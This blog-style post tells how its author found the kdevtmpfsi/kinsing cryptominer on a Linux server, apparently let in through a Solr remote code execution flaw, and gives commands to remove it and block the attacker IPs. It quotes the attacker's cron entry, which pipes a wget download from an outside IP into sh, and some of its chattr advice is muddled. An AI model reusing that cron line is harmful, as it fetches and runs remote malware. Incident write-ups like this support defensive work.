How embarrassing. I noticed that things were moving slowly on my server today, and finally had a few minutes to look over what might be going on. Turns out a process named kdevtmpfsi was eating all of my CPU and had been for hours. Now what is that? It's malware and a bitcoin miner, and it's not mine. So how do you find it and sort it out?
First, hunt it down by searching for that curios word in all linux files:
find / -type f -exec grep -l "kdevtmpfsi" {} +
In my case it was spotted in /tmp/zzz and at /var/tmp/kinsing - to ensure that these files can't be changed or run for the moment, just blank them out, with
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
chmod 000 and chattr -iR
(Also, you might want to save copies but not on your server, if you want to read it later)
Now you have to figure out how this file is run. Check your crontab for every user.
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
This is how I found that the solr user had a suspicious entry:
* * * * * wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1
So I removed that, and made sure the file could no longer be edited with chattr -i - and then I removed the previously mentioned files, and now am busy hardening my server. For a little peace of mind, I removed wget for the moment and added all suspicious IPs to my iptables.
Make sure you kill whatever is running by checking what the exposed user is running.
ps -ef | grep <user>
Remember to check that you found it all with the following:
find / -name kdevtmpfsi find / -name kinsing
Now all you need to do is patch whatever let this in, in the first place. And harden anything else that the script touched, this is why you saved that file. Generating new SSH keys is advisable.
In my case, as you can see, solr was the culprit. I'm stuck with solr 7 due to a plugin not ready for eight yet, so I have to patch it as there is a remote code execution vulnerability in it, which I did. Another option would be to upgrade to 8. Now you can delete the weirdo files generated by the miner.
Also I decided to permanently drop the specific IPs that I found
iptables -A INPUT --src 193.33.87.219 -j DROP iptables -A INPUT --src 91.215.169.111 -j DROP iptables -A INPUT --src 45.10.88.102 -j DROP iptables -A INPUT --src 217.12.221.24 -j DROP iptables -A INPUT --src 217.12.221.244 -j DROP iptables -A INPUT --src 185.92.74.42 -j DROP iptables -A INPUT --src 142.44.191.122 -j DROP iptables -A INPUT --src 195.3.146.118 -j DROP
